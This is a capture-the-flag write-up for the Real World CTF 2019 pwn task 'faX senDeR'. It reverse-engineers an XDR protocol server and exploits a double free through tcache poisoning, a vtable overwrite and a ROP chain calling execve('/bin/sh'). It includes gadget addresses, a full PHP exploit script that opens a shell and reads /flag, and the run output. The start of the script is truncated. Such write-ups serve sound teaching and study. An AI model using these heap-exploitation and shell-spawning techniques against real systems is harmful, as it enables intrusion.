Rating:

# faX senDeR - Real World CTF 2019 Quals

## Introduction

faX senDeR is a pwn task.

An archive containing the files required to run and debug the task is provided.
`server` is the target running on the remote server, while `client` is used to
show the features of the server.

## First run

The server binary waits for input on the standard entry. Anything makes it
answer `Wrong choice` and exit.

The client binary asks for a server's IP address. It then connects to this IP on
the TCP port `10917`.

The way to interact with the server is to create a server on port `10917` that
interacts with the server's standard input/output.

```sh
socat tcp4-listen:10917,reuseaddr,fork exec:./server
```

## Reverse engineering

The server binary is statically linked and stripped. It doesn't require much
efforts to find the main loop.

The task's name contains three capital letters: X, D and R. According to
[https://en.wikipedia.org/wiki/External_Data_Representation](Wikipedia), `XDR`
is a data representation protocol. The
[https://tools.ietf.org/html/rfc1014](RFC1014) describe a wire protocol that
matches the packets sent by the client application.

Ghidra already contains the definition of glibc's xdr function and structures.
The `XDR(3)` man page also contains a list of every xdr-related functions.
This makes the reverse engineering part very easy.

### Packets

The following packets have been identified through reverse engineering and
analysis of the network traffic:

#### `contact_add`
```
int 1
int count
string name[i]
string ip[i]
```

#### `contact_list`
```
int 2
```

#### `contact_del`
```
int 3
int idx
```

#### `msg_add`
```
int 4
int dstIdx
string message
```

#### `msg_list`
```
int 5
```

#### `msg_del`
```
int 6
int msgIdx
```

#### `msg_send`
```
int 7
int msgIdx
```

### Structures

The following structures have been identified:

#### contact
```c
struct contact {
char *name;
char *ip;
};
```

#### message
```c
struct message {
unsigned long contactIdx;
char *buffer;
size_t length;
};
```

## Vulnerability

There is a global array of contact **pointers**, and a global array of messages.
```c
struct contact* g_contact_list[0x0F];
struct message g_message_list[0x10];
```

When a message is deleted, its buffer is freed, and its size is set to 0.
The code knows that a spot in the array is free because the size is set to 0.
```c
free(g_message_list[i].buffer);
g_message_list[i].size = 0;
```

Adding a message with a corrupted packet (size of 0x4000) will result in the
code skipping the initialisation of the buffer, effectively using uninitialized
memory.

This behaviour can be abused with the following code:
```c
msg_add(0, 0x20, "a"); /* {.contactIdx = 0, .buffer = "a", .size = 0x0020} */
msg_del(0); /* {.contactIdx = 0, .buffer = "a", .size = 0x0000} */
msg_add(0, 0x4000, ""); /* {.contactIdx = 0, .buffer = "a", .size = 0x4000} */
```

The message can then be freed a second time, resulting in a double free.

## Exploitation

### Arbitrary write

`server` being a statically-compiled binary, the `malloc` implementation is
stored within the binary. This version of `malloc` implements the `tcache`
optimisation with no protection.

Exploitation becomes trivial:
1. trigger the double free
2. make `malloc()` return the freed chunk
3. poison tcache by overwriting its `fd` pointer (first bytes)
4. overwrite a function pointer

A good candidate for the function pointers is the vtable used by XDR, located at
`0x006b9140`. This address is always the same because the binary is compiled
statically and therefore shares its .bss with the libc's .bss section.

Ovewriting the pointer results in the following state:
```
Program received signal SIGSEGV, Segmentation fault.
0x000000000044df61 in ?? ()
=> 0x000000000044df61: ff 50 08 call QWORD PTR [rax+0x8]
(gdb) x/8gz $rax
0x6b9140: 0x2020202020202020 0x2020202020202020
0x6b9150: 0x2020202020202020 0x2020202020202020
0x6b9160: 0x2020202020202020 0x2020202020202020
0x6b9170: 0x2020202020202020 0x2020202020202020
```

### ROP chain

The next logical step is to pivot the stack and use the new buffer as a ROP
chain.

The `xchg eax, esp` gadget works because the higher 32-bits of `eax` are set to
0. This gadget will set `esp` to the beginning of the buffer.

Pivot
```
+---------------+
+----> | pop any | -----+
| +---------------+ |
| |
| +---------------+ |
| | entry: | |
+----- | xchg esp, eax | |
+---------------+ |
|
+-----------------------------+
|
| +-------------------+
+---> | rest of the chain |
| ... |
```

The rest of the chain calls the classic `execve("/bin/sh", NULL, NULL)`:
```
+---------+ +------------+
| pop rdi | | "/bin/sh" |
+---------+ +------------+

+---------+ +------------+
| pop rsi | | NULL |
+---------+ +------------+

+---------+ +------------+
| pop rax | | SYS_execve |
| pop rdx | | NULL |
| pop rbx | | any |
+---------+ +------------+

+---------+
| syscall |
+---------+
```

The flag is located in `/flag`.

**Flag**: `rwctf{Digging_Into_libxdr}`

## Appendices

### gadgets.txt
The following gadgets have been used in the final exploit:
```
0x00493c4f: pop rdi ; ret ; (1 found)
0x0046aa53: pop rsi ; ret ; (1 found)
0x004841d6: pop rax ; pop rdx ; pop rbx ; ret ; (1 found)
0x00468a62: xchg eax, esp ; ret ; (1 found)
0x004878d5: syscall ; ret ; (1 found)
0x0048fc98: int3 ; ret ; (1 found)
```

### pwn.php
The following script has been used execute arbitrary commands on the remote
server:
```php
#!/usr/bin/php
expect(pack("N", strlen($str)));
$t->expect($str);
$t->expect(str_repeat("\x00", 4096 - (strlen($str) + 4)));
}

function xdr_string($buffer)
{
$length = unpack("N", substr($buffer, 0, 4))[1];
return substr($buffer, 4, $length);
}

function str(Tube $t)
{
return xdr_string($t->read(4096));
}

function strs(Tube $t, $count)
{
$ret = [];

for($i = 0; $i < $count; $i++)
$ret[] = str($t);

return $ret;
}

function contact_add(Tube $t, $contacts)
{
$buffer = pack("N", 1);
$buffer .= pack("N", sizeof($contacts));

foreach($contacts as list($name, $ip)) {
$buffer .= pack("N", strlen($name));
$buffer .= str_pad($name, 4 * ceil(strlen($name) / 4), "\x00");

$buffer .= pack("N", strlen($ip));
$buffer .= str_pad($ip, 4 * ceil(strlen($ip) / 4), "\x00");
}

$buffer = str_pad($buffer, 4096, "\x00");
$t->write($buffer);

xdr_expect($t, "Add contacts success!\n");
}

function contact_list(Tube $t, $count = null)
{
$buffer = pack("N", 2);
$t->write($buffer);

if($count !== null)
return strs($t, $count);
}

function contact_del(Tube $t, $idx)
{
$buffer = pack("NN", 3, $idx);
$t->write($buffer);
xdr_expect($t, "Delete contacts success!\n");
}

function msg_add(Tube $t, $idx, $msg, $fast = false)
{
$buffer = pack("NNN", 4, $idx, strlen($msg)) . $msg;
$t->write($buffer);

if(!$fast)
xdr_expect($t, "Add message success!\n");
}

function msg_list(Tube $t, $count = null)
{
$buffer = pack("N", 5);
$t->write($buffer);

if($count !== null)
return strs($t, $count);
}

function msg_del(Tube $t, $idx)
{
$buffer = pack("NN", 6, $idx);
$t->write($buffer);
xdr_expect($t, "Delete message success!\n");
}

function msg_post(Tube $t, $idx)
{
$buffer = pack("NN", 7, $idx);
$t->write($buffer);
xdr_expect($t, "send message success!\n");
}

printf("[*] Creating process\n");
$time = microtime(true);
//$t = new Process(COMMAND);
$t = new Socket(HOST, PORT);

printf("[+] Done in %f seconds\n", microtime(true) - $time);
printf("\n");

$contact = [
["XeR", "127.0.0.1"],
];

contact_add($t, $contact);

$size = 0x80;
printf("[*] Double free (size = %X)\n", $size);
msg_add($t, 0, str_repeat("A", $size));
msg_del($t, 0);

/* glitched message */
$buffer = pack("NNN", 4, 0, 0x4000);
$t->write($buffer);
xdr_expect($t, "Add message success!\n");

msg_del($t, 0);

printf("[*] Poison tcache\n");
$payload = pack("Q", 0x006b9140);
$payload = str_pad($payload, $size);
msg_add($t, 0, $payload);
msg_add($t, 0, str_repeat("C", $size));

$payload = pack("Q*",
0x00493c4f, // pop rdi (to skip the xchg)
0x00468a62, // xchg eax, esp (ok because 32 bits)

0x00493c4f, 0x006b9140 + 8 * 12, // pop rdi /bin/sh
0x0046aa53, 0, // pop rsi
0x004841d6, 59, 0, 0, // pop rax, rdx, rbx

0x004878d5, // syscall
0x0048fc98, // int3
);
$payload .= "/bin/sh\0";
$payload = str_pad($payload, $size);

printf("[*] Execute ROP chain\n");
msg_add($t, 0, $payload, true);

printf("[*] Sending commands...\n");
$t->write("id; ls -la /; cat /flag\n");

dump:
printf("[!] Dumping...\n");
while($buffer = $t->read(4096)) {
//printf("%s", hexdump($buffer));
printf("%s", $buffer);
}
```

Example run:
```
[*] Creating process
[+] Done in 0.161806 seconds

[*] Double free (size = 80)
[*] Poison tcache
[*] Execute ROP chain
[*] Sending commands...
[!] Dumping...
sh: 1: id: not found
total 800
drwxr-xr-x 6 0 0 4096 Sep 14 13:30 .
drwxr-xr-x 6 0 0 4096 Sep 14 13:30 ..
drwxr-xr-x 2 0 0 4096 Sep 13 15:34 bin
drwxr-xr-x 2 0 0 4096 Sep 13 15:33 dev
-rw-r----- 1 0 1000 27 Sep 13 15:30 flag
drwxr-xr-x 2 0 0 4096 Sep 13 15:34 lib
drwxr-xr-x 2 0 0 4096 Sep 13 15:34 lib64
-rwxr-xr-x 1 0 0 786872 Sep 14 13:25 server
rwctf{Digging_Into_libxdr}
```

Original writeup (https://xer.forgotten-legends.org/writeup/2019/rwctf/faX%20senDeR.md).